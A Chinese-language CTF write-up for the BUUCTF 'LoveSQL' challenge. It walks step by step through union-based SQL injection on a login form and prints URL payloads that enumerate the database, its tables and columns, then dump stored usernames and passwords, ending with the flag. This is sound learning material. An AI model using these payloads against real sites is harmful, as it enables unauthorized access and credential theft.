[极客大挑战 2019]LoveSQL

[极客大挑战 2019]LoveSQL
打开后页面和easysql一样,测试了一下注入点:

在username和password都可以注入,并且单引号报错双引号不报错

接下来就是按sql注入的流程操作:
1.测试有多少字段
测试每个字段对应的内容
2.爆出数据库名
3.爆出数据库里的表
4.爆出表的列名
5.爆出所有数据

第一步:测试有多少字段
用order by

所以有三个字段

第二步:当前数据库名
使用联合查询,结合第一步查出来的字段数,构造payload:
Payload:?username=1' union select null,null,(select database())%23&password=2

所以数据库名是geek

第三步:查表名

构造payload:?username=1' union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema='geek')%23&password=2

所以这个数据库里有两个表:geekuser,l0ve1ysq1
第四步:查列
有两个表,所以一个表一个表查
geekuser :
Payload:?username=1' union select null,null,( select group_concat( column_name ) from information_schema.columns where table_name='geekuser')%23&password=2

l0ve1ysq1:
Payload:?username=1' union select null,null,( select group_concat( column_name ) from information_schema.columns where table_name='l0ve1ysq1')%23&password=2

第五步:查数据
也是一个表一个表查:
geekuser
Payload:?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.geekuser%23&password=2

只有一个数据
下一个表
Payload:?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.l0ve1ysq1%23&password=2

这一个表数据很多,把结果复制出来整理可以找到flag
flag{26b7bc65-f891-49d1-94f6-b3ee6266e07c}

BUU使用动态flag,请勿直接复制

原文地址:https://www.cnblogs.com/yunqian2017/p/13304917.html